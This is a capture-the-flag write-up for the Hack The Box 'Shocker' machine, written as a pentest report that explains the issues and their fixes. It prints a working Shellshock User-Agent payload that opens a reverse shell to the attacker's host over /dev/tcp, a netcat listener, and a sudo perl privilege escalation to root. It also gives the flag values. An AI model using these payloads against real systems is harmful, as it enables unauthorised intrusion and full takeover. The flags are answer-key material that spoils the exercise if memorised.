

Shocker HTB

- 🏷️ **Tags** : #01-2023 #report
- CTF link: <https://app.hackthebox.com/machines/Shocker/>

Service Enumeration

Port	Protocol	State	Service
80	tcp	open	http
2222	tcp	open	EtherNetIP-1

Web mapping

```

=====
ID          Response  Lines  Word    Chars   Payload
=====
0000000001:  200         9 L    13 W    137 Ch   "http://10.10.10.56/"
0000000013:  403        11 L    32 W    295 Ch   ".htpasswd"
0000000012:  403        11 L    32 W    295 Ch   ".htaccess"
0000000011:  403        11 L    32 W    290 Ch   ".hta"
0000000820:  403        11 L    32 W    294 Ch   "cgi-bin/"
0000002020:  200         9 L    13 W    137 Ch   "index.html"
000003588:  403        11 L    32 W    299 Ch   "server-status"
=====
ID          Response  Lines  Word    Chars   Payload
=====
0000000031:  403        11 L    32 W    301 Ch   ".hta - sh"
0000000039:  403        11 L    32 W    307 Ch   ".htpasswd - cgi"
0000000034:  403        11 L    32 W    306 Ch   ".htaccess - sh"
0000000036:  403        11 L    32 W    307 Ch   ".htaccess - cgi"
0000000038:  403        11 L    32 W    307 Ch   ".htpasswd - php"
0000000033:  403        11 L    32 W    302 Ch   ".hta - cgi"
0000000035:  403        11 L    32 W    307 Ch   ".htaccess - php"
0000000037:  403        11 L    32 W    306 Ch   ".htpasswd - sh"
0000000032:  403        11 L    32 W    302 Ch   ".hta - php"
000012676:  200         7 L    17 W    118 Ch   "user - sh"

> curl -s -X GET http://10.10.10.56/cgi-bin/user.sh
Content-Type: text/plain

Just an uptime test script

04:44:18 up 23:57,  0 users,  load average: 0.00, 0.01, 0.00

```

Penetration

Vulnerability Exploited

[CVE-2014-6271](#) updated to [CVE-2014-7169](#)

System Vulnerable

10.10.10.56

Vulnerability Explanation

Shellshock is a vulnerability that allows systems containing a vulnerable version of Bash to be exploited to execute commands with higher privileges. This allows attackers to potentially take over that system. While Bash is not inherently Internet-facing, many internal and external services such as web servers do use environment variables to communicate with the server's operating system.

PERL binary is allowed to run as SUDO without requiring a password what leads into an easy privilege escalation

Vulnerability Fix

Update how bash interprets the `x=() {...}` environment variable as a function definition. Exporting functions with `export -f x` will now set a environment variable `BASH_FUNC_x%%=() {...}` instead of simply `x=() {...}`

Remove SUDO (NoPasswd) from PERL binary

Severity

According to [CSSv3.1 vector calculator](#) base score metrics there is an overall CVSS score of 9.8 [Critical]

Proof of Concept

- *Initial Access*

```
> curl -H "User-agent: () { : }; /bin/bash -i >& /dev/tcp/10.10.16.4/4444 0>&1" http://10.10.10.56/cgi-bin/user.sh

> nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.56] 60036
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ hostnamectl
hostnamectl
  Static hostname: Shocker
        Icon name: computer-vm
        Chassis: vm
        Machine ID: ed3fde19803f222811e9abca59c53afc
        Boot ID: 2b270e2041ba456e8383c1c2a178e59b
        Virtualization: vmware
        Operating System: Ubuntu 16.04.3 LTS
        Kernel: Linux 4.4.0-96-generic
        Architecture: x86_64
shelly@Shocker:/usr/lib/cgi-bin$ |
```

User flag: 5ed6e9e418d60b4cdacbcc568e8f6ebe

- *Privilege Escalation*

```
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
shelly@Shocker:/usr/lib/cgi-bin$ |
shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/bash";'
root@Shocker:/usr/lib/cgi-bin# whoami
root
root@Shocker:/usr/lib/cgi-bin#
```

Root flag: 27adf3538e39d2d2c3e18b5316cd12d9